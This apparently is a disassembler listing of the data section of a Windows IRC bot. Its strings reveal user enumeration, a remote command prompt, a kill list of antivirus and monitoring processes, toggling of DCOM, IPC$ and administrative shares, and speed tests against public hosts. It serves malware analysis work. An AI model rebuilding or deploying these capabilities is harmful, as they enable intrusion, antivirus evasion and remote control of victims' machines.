db 2Dh ; - ; DATA XREF: sub_418DAF+95o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0 align 10h unk_439150 db 2Dh ; - ; DATA XREF: sub_418DAF+6Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSUsernameS db '- %s username: ',27h,'%s',27h,0 align 10h unk_439170 db 2Dh ; - ; DATA XREF: sub_418EF6+3AFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserInfoErrorL db '- user info error <%ld>',0 align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF6+385o align 4 aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF6+35Ao align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF6+32Fo aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_418EF6+304o align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_418EF6+2D9o align 4 aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_418EF6+2AEo align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_418EF6+283o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_418EF6+258o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF6+22Do align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF6+202o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_418EF6+1D7o align 10h aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_418EF6+1ACo align 10h aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_418EF6+181o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_418EF6+156o align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF6+12Bo aGuest db 'Guest',0 ; DATA XREF: sub_418EF6:loc_419015o align 10h aUser_1 db 'User',0 ; DATA XREF: sub_418EF6:loc_41900Eo align 4 aAdministrator db 'Administrator',0 ; DATA XREF: sub_418EF6:loc_419007o align 4 aCommentS db 'Comment: %S',0 ; DATA XREF: sub_418EF6+DAo aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_418EF6+AFo align 4 aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_418EF6+84o align 4 aAccountS db 'Account: %S',0 ; DATA XREF: sub_418EF6+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_4192DF+14Fo align 4 unk_43932C db 2Dh ; - ; DATA XREF: sub_4192DF+F7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aAnAccessViolat db '- an access violation has occured',0 align 4 aS_4 db ' %S',0 ; DATA XREF: sub_4192DF+BEo align 10h unk_439360 db 2Dh ; - ; DATA XREF: sub_4192DF+7Ao db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListErrorS db '- user list error %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_4192DF+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_41945F:loc_41957Co align 4 aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_41945F:loc_419575o align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_41945F:loc_41956Eo align 10h aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_41945F:loc_419567o align 10h aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_41945F:loc_419560o align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_41945F:loc_419543o db 'ord policy requirement.)',0 align 4 aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_41945F:loc_41953Co align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_41945F:loc_419535o align 4 aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_41945F+CFo db ' the domain.',0 align 4 aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_41945F:loc_41950Ao aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_41945F:loc_419503o aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_41945F:loc_4194FCo aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41945F:loc_4194F2o align 10h aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_41945F+89o align 4 aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_41945F:loc_4194CCo align 10h aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_41945F:loc_4194C2o align 10h aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_41945F:loc_4194B8o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_41945F:loc_4194AEo align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_41945F:loc_4194A4o align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_41945F+3Bo align 4 dword_439668 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h ; DATA XREF: sub_419593+ABo dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h dd 5325h unk_439694 db 2Dh ; - ; DATA XREF: sub_419593+81o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aMessageSentSuc db '- message sent successfully',0 align 4 dd 7530h off_4396C0 dd offset aRegedit_exe ; DATA XREF: sub_4196BC+CBo ; "regedit.exe" dd offset aMsconfig_exe ; "msconfig.exe" dd offset aNetstat_exe ; "netstat.exe" dd offset aMsblast_exe ; "msblast.exe" dd offset aZapro_exe ; "zapro.exe" dd offset aNavw32_exe ; "navw32.exe" dd offset aNavapw32_exe ; "navapw32.exe" dd offset aZonealarm_exe ; "zonealarm.exe" dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe" dd offset aPandaavengine_ ; "PandaAVEngine.exe" dd offset dword_4397C8 dd offset dword_4397BC dd offset dword_4397B0 dd offset dword_4397A4 dd offset dword_439798 dd offset dword_43978C dd offset dword_43977C dd offset dword_439770 dd offset dword_439764 dd offset dword_439758 dd offset dword_43974C dd offset dword_43973C dd offset dword_439730 dd offset dword_439720 dword_439720 dd 72313169h, 346E3435h, 6578652Eh, 0 ; DATA XREF: sub_4196BC+ECo ; ___:0043971Co dword_439730 dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439718o dword_43973C dd 75643364h, 74616470h, 78652E65h, 65h ; DATA XREF: ___:00439714o dword_43974C dd 65746172h, 6578652Eh, 0 ; DATA XREF: ___:00439710o dword_439758 dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:0043970Co dword_439764 dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439708o dword_439770 dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:00439704o dword_43977C dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ; DATA XREF: ___:00439700o dword_43978C dd 61656262h, 2E656C67h, 657865h ; DATA XREF: ___:004396FCo dword_439798 dd 696E6550h, 2E323373h, 657865h ; DATA XREF: ___:004396F8o dword_4397A4 dd 6B656574h, 2E736469h, 657865h ; DATA XREF: ___:004396F4o dword_4397B0 dd 4C42534Dh, 2E545341h, 657865h ; DATA XREF: ___:004396F0o dword_4397BC dd 7663736Dh, 2E323362h, 657865h ; DATA XREF: ___:004396ECo dword_4397C8 dd 69737973h, 2E6F666Eh, 657865h ; DATA XREF: ___:004396E8o aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: ___:004396E4o align 4 aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:004396E0o aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: ___:004396DCo align 10h aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: ___:004396D8o align 10h aNavw32_exe db 'navw32.exe',0 ; DATA XREF: ___:004396D4o align 4 aZapro_exe db 'zapro.exe',0 ; DATA XREF: ___:004396D0o align 4 aMsblast_exe db 'msblast.exe',0 ; DATA XREF: ___:004396CCo aNetstat_exe db 'netstat.exe',0 ; DATA XREF: ___:004396C8o aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: ___:004396C4o align 10h aRegedit_exe db 'regedit.exe',0 ; DATA XREF: ___:off_4396C0o aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_4196BC+191o align 4 unk_439878 db 2Dh ; - ; DATA XREF: sub_4198EB:loc_419972o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListFai db ' process list failed',0 align 4 unk_43989C db 2Dh ; - ; DATA XREF: sub_4198EB+80o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListCom db ' process list complete',0 align 10h unk_4398C0 db 2Dh ; - ; DATA XREF: sub_4198EB+19o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aListingProcess db ' listing processes:',0 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A88+33o unk_4398F0 db 2Dh ; - ; DATA XREF: sub_419B0F:loc_419C41o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0 unk_439920 db 2Dh ; - ; DATA XREF: sub_419B0F+10Fo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0 align 4 unk_439948 db 2Dh ; - ; DATA XREF: sub_419B0F:loc_419BF5o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0 align 4 unk_439978 db 2Dh ; - ; DATA XREF: sub_419C64+194o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0 align 4 unk_4399AC db 2Dh ; - ; DATA XREF: sub_419C64+14Co db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteCommandP db '- Remote Command Prompt',0 align 10h off_4399D0 dd offset dword_439A08 ; DATA XREF: sub_419E79+1B3o ; sub_41A19D+17Ao dd 0 dd offset dword_439A00 align 10h off_4399E0 dd offset dword_4399FC ; DATA XREF: sub_41A19D+1E3o dd offset dword_4399F8 dd offset dword_4399F4 dd offset dword_4399F0 dword_4399F0 dd 5C3A44h ; DATA XREF: sub_419E79+217o ; ___:004399ECo dword_4399F4 dd 2444h ; DATA XREF: ___:004399E8o dword_4399F8 dd 5C3A43h ; DATA XREF: ___:004399E4o dword_4399FC dd 2443h ; DATA XREF: ___:off_4399E0o dword_439A00 dd 494D4441h, 244Eh ; DATA XREF: ___:004399D8o dword_439A08 dd 24435049h, 0 ; DATA XREF: ___:off_4399D0o dword_439A10 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+2E5o ; sub_41A19D+2DBo aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0 align 10h dword_439A40 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+2CFo aNetworkSharesD db '- Network shares deleted.',0 align 4 dword_439A68 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_41A0DBo aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0 align 4 dword_439A94 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+25Bo aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0 align 4 dword_439AB8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_41A048o aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0 align 4 dword_439AE4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+1C8o aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0 align 4 dword_439B08 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419FABo ; sub_41A19D:loc_41A2CBo aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_439B38 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419FA4o aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0 dword_439B74 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419F86o aRestrictedAcce db '- Restricted access to the IPC$ Share.',0 align 4 dword_439BA8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+106o aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_419E79+EDo ; sub_41A19D+EDo align 4 dword_439BF8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+91o ; sub_41A19D+91o aFailedToOpenDc db '- Failed to open DCOM registry key.',0 dword_439C28 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh ; DATA XREF: sub_419E79:loc_419EE6o dd 62617369h, 2E64656Ch, 0 dword_439C48 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+66o aDisableDcomFai db '- Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_419E79+54o ; sub_41A19D+54o align 4 dword_439C78 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+2C3o aNetworkSharesA db '- Network shares added.',0 aC_0 db '%c:\',0 ; DATA XREF: sub_41A19D+230o align 4 aC_1 db '%c$',0 ; DATA XREF: sub_41A19D+219o dword_439CA8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A33Co ; sub_41A19D:loc_41A40Do aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0 dword_439CD0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+198o ; sub_41A19D+269o aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0 dword_439CF0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A2C4o aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0 dword_439D2C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A2A6o aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0 align 4 dword_439D64 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+102o aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0 align 4 dword_439DA4 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh ; DATA XREF: sub_41A19D:loc_41A20Ao dd 6C62616Eh, 2E6465h dword_439DC0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+66o aEnableDcomFail db '- Enable DCOM failed.',0 align 4 aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D1+E1o db 'Host: %s',0Dh,0Ah db 'Content-Length: %d',0Dh,0Ah db 0Dh,0Ah,0 align 4 dword_439E18 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h ; DATA XREF: sub_41A6AE+1A7o dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h dd 25203A02h, 626B2064h, 732F7469h, 0 aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AE+C4o align 4 aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41A6AE+BDo aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41A6AE+B6o align 4 aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41A6AE+AFo align 4 aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AE+A8o align 10h aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AE+A1o aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41A6AE+9Ao align 4 aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41A6AE+93o align 4 aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41A6AE+8Co align 4 aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41A6AE+85o align 4 aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41A6AE+7Eo align 4 aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41A6AE+77o align 4 aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AE+70o align 4 aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41A6AE+69o aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41A6AE+62o aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41A6AE+5Bo align 4 aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AE+54o align 4 aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41A6AE+4Do align 4 aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41A6AE+46o align 4 aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41A6AE+3Fo align 4 aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41A6AE+38o align 4 aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41A6AE+31o align 4 aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41A6AE+2Ao align 4 aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41A6AE+23o align 4 aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41A6AE+1Co align 4 aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41A6AE+15o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_41A88B+52o dword_43A030 dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah ; DATA XREF: sub_41AA42+297o dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h dd 74705502h, 2656D69h, 7325203Ah, 2Eh dword_43A10C dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA XREF: sub_41AA42+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA42:loc_41ABA6o align 10h aSS_1 db '%s (%s)',0 ; DATA XREF: sub_41AA42+EBo a2003 db '2003',0 ; DATA XREF: sub_41AA42+BAo align 10h dword_43A140 dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h ; DATA XREF: sub_41ACF6+A4o dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h dd 7325203Ah, 2Eh off_43A184 dd offset word_412F4E ; DATA XREF: sub_41ACF6:loc_41AD62o off_43A188 dd offset dword_4E414C ; DATA XREF: sub_41ACF6:loc_41AD58o dword_43A18C dd 6C616944h, 70752Dh ; DATA XREF: sub_41ACF6+5Bo dword_43A194 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_41ACF6+48o unk_43A1A4 db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF6Eo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToConnec db ' Failed to connect to HTTP server.',0 align 4 unk_43A1D4 db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF67o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aCouldNotOpenAC db ' Could not open a connection.',0 align 10h dword_43A200 dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h ; DATA XREF: sub_41ADB5+1A0o dd 4C525520h, 2Eh unk_43A21C db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF48o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0 align 4 dword_43A258 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h ; DATA XREF: sub_41ADB5+18Co dd 64657469h, 2Eh dword_43A274 dd 2A2F2Ah, 2 dup(0) ; DATA XREF: sub_41ADB5+3Bo dword_43A280 dd 6552D6A3h ; DATA XREF: sub_41B8D8+4w sub_41B8E2r ... align 10h dword_43A290 dd 173Fh ; DATA XREF: sub_41C679+Dr dd 9875h, 9873h off_43A29C dd offset sub_41C748 ; DATA XREF: ___:0041B784r dd offset nullsub_2 dd offset nullsub_2 dword_43A2A8 dd 1B3Fh ; DATA XREF: sub_41C7BF+Dr dword_43A2AC dd 19930520h, 4 dup(0) ; DATA XREF: sub_41CC41+2o ; sub_41CC4A+2o off_43A2C0 dd offset sub_41B7C2 ; DATA XREF: sub_41DA29+1Cr dword_43A2C4 dd 2 ; DATA XREF: sub_423590+Er ; sub_4235C9+46r ... dd 10h, 0 off_43A2D0 dd offset off_43A2D0 ; DATA XREF: sub_41E976+Do ; sub_41E976+69o ... off_43A2D4 dd offset off_43A2D0 ; DATA XREF: sub_41E976:loc_41E9F6r ; sub_41E976+89w ... dd offset dword_43A2E8 dd offset dword_43A2E8 dword_43A2E0 dd 0FFFFFFFFh ; DATA XREF: sub_41E976r ; sub_41EABA:loc_41EB07w dd 0FFFFFFFFh dword_43A2E8 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: ___:0043A2D8o ; ___:0043A2DCo off_43C2F0 dd offset off_43A2D0 ; DATA XREF: sub_41EABA+15r ; sub_41EABA+20w ... dword_43C2F4 dd 1E0h ; DATA XREF: sub_41B202+185r ; sub_41B513:loc_41B54Fr ... off_43C2F8 dd offset word_43C302 ; DATA XREF: sub_41B6EE+23r ; sub_41B6EE:loc_41B74Fr ... off_43C2FC dd offset word_43C302 ; DATA XREF: sub_426BC1+18r db 2 dup(0) word_43C302 dw 20h ; DATA XREF: sub_424D47+18r ; ___:off_43C2F8o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_43C504 dd 1 ; DATA XREF: sub_41B6EE:loc_41B6F6r ; sub_41B6EE:loc_41B73Ar ... byte_43C508 db 2Eh ; DATA XREF: sub_420510:loc_420804r ; sub_420510+311r ... align 4 dd 1 off_43C510 dd offset aNull_0 ; DATA XREF: sub_41F69F:loc_41FA03r ; sub_41F69F+457r ; "(null)" off_43C514 dd offset aNull ; DATA XREF: sub_41F69F+259r ; "(null)" byte_43C518 db 1 ; DATA XREF: sub_41FEA9+E1r db 2, 4, 8 align 10h dword_43C520 dd 3A4h ; DATA XREF: sub_41FEA9+2Fo dword_43C524 dd 82798260h, 21h, 0 ; DATA XREF: sub_41FEA9+11Dr dword_43C530 dd 0DFA6h ; DATA XREF: sub_41FEA9+C0r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_43C610 dd 1 ; DATA XREF: sub_41FEA9+3Co ; sub_4203DF+Co dword_43C614 dd 16h ; DATA XREF: sub_4203DF:loc_420414r dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_43C778 dd 0D2D0920h, 5Dh ; DATA XREF: sub_4203DF+19o ; sub_420510:loc_420A77o dword_43C780 dd 5Dh, 0 ; DATA XREF: sub_420510:loc_420967o dword_43C788 dd 14h ; DATA XREF: sub_421624+2o off_43C78C dd offset aExp ; DATA XREF: sub_421624:loc_421641r ; "exp" dd 1Dh, 427878h, 1Ah, 42C268h, 1Bh, 427870h, 1Fh, 427868h dd 13h, 427860h, 21h, 427858h, 0Eh, 427850h, 0Dh, 427848h dd 0Fh, 427840h, 10h, 427838h, 5, 427830h, 1Eh, 42782Ch dd 12h, 427828h, 20h, 427824h, 0Ch, 42781Ch, 0Bh, 427814h dd 15h, 42780Ch, 1Ch, 427804h, 19h, 4277FCh, 11h, 4277F4h dd 18h, 4277ECh, 16h, 4277E4h, 17h, 4277DCh, 22h, 4277D8h dd 23h, 4277D4h, 24h, 4277D0h dbl_43C860 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+B7r ; sub_42135F:loc_421446r ... dd 0 dd 0FFF80000h dbl_43C870 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+92r ; sub_42135F:loc_42141Er ... dd 0 dd 100000h, 0 dd 80000000h tbyte_43C888 dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr ; sub_42180C+1Fr align 4 tbyte_43C894 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r align 10h off_43C8A0 dd offset sub_421CA0 ; DATA XREF: sub_41C760+Fw ; sub_41F69F+3AAr off_43C8A4 dd offset sub_421935 ; DATA XREF: sub_41C760+5w ; sub_41F69F+3E2r off_43C8A8 dd offset sub_42199B ; DATA XREF: sub_41C760+14w ; sub_420510+430r off_43C8AC dd offset sub_4218DB ; DATA XREF: sub_41C760+1Ew ; sub_41F69F+3CBr off_43C8B0 dd offset sub_421983 ; DATA XREF: sub_41C760+28w off_43C8B4 dd offset sub_421CA0 ; DATA XREF: sub_41C760+32w dd offset sub_42470C align 10h dd offset sub_42255C off_43C8C4 dd offset sub_42255C ; DATA XREF: sub_4225B2+29r dword_43C8C8 dd 0C0000005h ; DATA XREF: sub_422E2F+Ar ; sub_422E2F+11o ... dword_43C8CC dd 0Bh ; DATA XREF: sub_425A82+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_43C940 dd 3 ; DATA XREF: ___:00422D46r ; sub_425955+C8r dword_43C944 dd 7 ; DATA XREF: ___:00422D4Cr ; sub_425955+CDr dword_43C948 dd 0Ah ; DATA XREF: sub_422E2F+4r ; sub_425A82+4r dword_43C94C dd 8Ch ; DATA XREF: ___:00422D70r ; ___:00422D7Dw ... dword_43C950 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_41F043:loc_41F0C4o ; sub_41F58A:loc_41F647o dword_43C958 dd 2 ; DATA XREF: sub_4235C9+Eo ; sub_4235C9+28r off_43C95C dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr ; sub_4235C9+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 427B94h, 9, 427B68h, 0Ah, 427B44h, 10h, 427B18h dd 11h, 427AE8h, 12h, 427AC4h, 13h, 427A98h, 18h, 427A60h dd 19h, 427A38h, 1Ah, 427A00h, 1Bh, 4279C8h, 1Ch, 4279A0h dd 78h, 427990h, 79h, 427980h, 7Ah, 427970h, 0FCh, 43381Ch dd 0FFh, 427960h off_43C9E8 dd offset dword_4DB5A0 ; DATA XREF: sub_4235C9+1Bo ; sub_423936+55o align 10h dd offset dword_4DB5A0 dd 101h dword_43C9F8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_423936+72o dd 1000h, 0 dword_43CA08 dd 3 dup(0) ; DATA XREF: sub_41F58A+50o ; sub_420446+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_43CA28 dd 3 dup(0) ; DATA XREF: sub_41F58A+58o ; sub_420446:loc_420464o dd 2, 0FFFFFFFFh, 7 